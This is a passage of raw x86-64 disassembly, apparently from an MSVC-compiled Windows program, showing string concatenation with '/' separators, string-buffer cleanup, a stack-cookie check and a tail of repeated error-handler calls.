mov byte [rsp + 0x110], 0x2f
mov rax, qword [rsp + 0x188]
cmp rax, rdi
je 0x14005fd44
lea r9, [rsp + 0x178]
cmp qword [rsp + 0x190], 0x10
cmovae r9, qword [rsp + 0x178]
mov qword [rsp + 0x30], 1
lea rcx, [rsp + 0x110]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x178]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0x88]
call fcn.14002d660
nop
mov rax, rsi
shl rax, 5
lea rdx, [rsp + 0x1e0]
add rdx, rax
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14005f77e
mov rdx, qword [rdx]
lea rcx, [rsp + 0x88]
call fcn.140021a00
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x40]
call fcn.140057d10
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14005f80a
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f805
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fd4a
call fcn.140080f50
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0x10
jb 0x14005f861
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f85b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fd50
call fcn.140080f50
nop
inc rsi
jmp 0x14005f6e0
mov rsi, rbx
mov qword [rsp + 0xa8], rsi
cmp rsi, 2
jae 0x14005fb2e
mov r15, rsi
shl r15, 5
lea rdx, [rsp + 0x2a0]
add rdx, r15
lea rcx, [rsp + 0x88]
call fcn.14002f5c0
nop
mov byte [rsp + 0x110], 0x2f
mov rax, qword [rsp + 0x188]
cmp rax, rdi
je 0x14005fd56
lea r9, [rsp + 0x178]
cmp qword [rsp + 0x190], 0x10
cmovae r9, qword [rsp + 0x178]
mov qword [rsp + 0x30], 1
lea rcx, [rsp + 0x110]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x178]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0xb0]
call fcn.14002d660
or r14d, 1
mov dword [rsp + 0x60], r14d
lea rdx, [rsp + 0x1a0]
add rdx, r15
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14005f94a
mov rdx, qword [rdx]
lea rcx, [rsp + 0xb0]
call fcn.140021a00
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or r14d, 2
mov dword [rsp + 0x60], r14d
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.14002f5c0
nop
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x68]
call fcn.1400578a0
nop
mov rdx, qword [rsp + 0x80]
cmp rdx, 8
jb 0x14005f9f7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f9f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fd5c
call fcn.140080f50
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x80], 7
mov word [rsp + 0x68], bx
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14005fa4a
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005fa45
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fd62
call fcn.140080f50
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0xc8]
cmp rdx, 0x10
jb 0x14005faa0
inc rdx
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005fa9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fd68
call fcn.140080f50
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], 0xf
mov byte [rsp + 0xb0], 0
mov rdx, qword [rsp + 0xa0]
cmp rdx, 8
jb 0x14005fb05
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005faff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fd6e
call fcn.140080f50
nop
inc rsi
jmp 0x14005f88b
lea r9, [fcn.14001efc0]
mov edx, 0x20
lea r8d, [rdx - 0x1b]
lea rcx, [rsp + 0x240]
call fcn.140080f94
nop
mov rdx, qword [rsp + 0x130]
cmp rdx, 0x10
jb 0x14005fb90
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005fb8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fd74
call fcn.140080f50
nop
lea r9, [fcn.14001efc0]
mov edx, 0x20
lea r8d, [rdx - 0x1e]
lea rcx, [rsp + 0x1a0]
call fcn.140080f94
nop
lea r9, [fcn.14001efc0]
mov r8d, 3
lea edx, [r8 + 0x1d]
lea rcx, [rsp + 0x1e0]
call fcn.140080f94
nop
mov rdx, qword [rsp + 0x170]
cmp rdx, 0x10
jb 0x14005fc11
inc rdx
mov rcx, qword [rsp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005fc0b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fd7a
call fcn.140080f50
nop
lea rcx, [rsp + 0x178]
call fcn.14001efc0
nop
lea rcx, [rsp + 0x138]
call fcn.14001efc0
mov rcx, qword [rsp + 0x2e0]
xor rcx, rsp
call fcn.140080f30
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
call fcn.140002cb0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
int3
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
int3
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3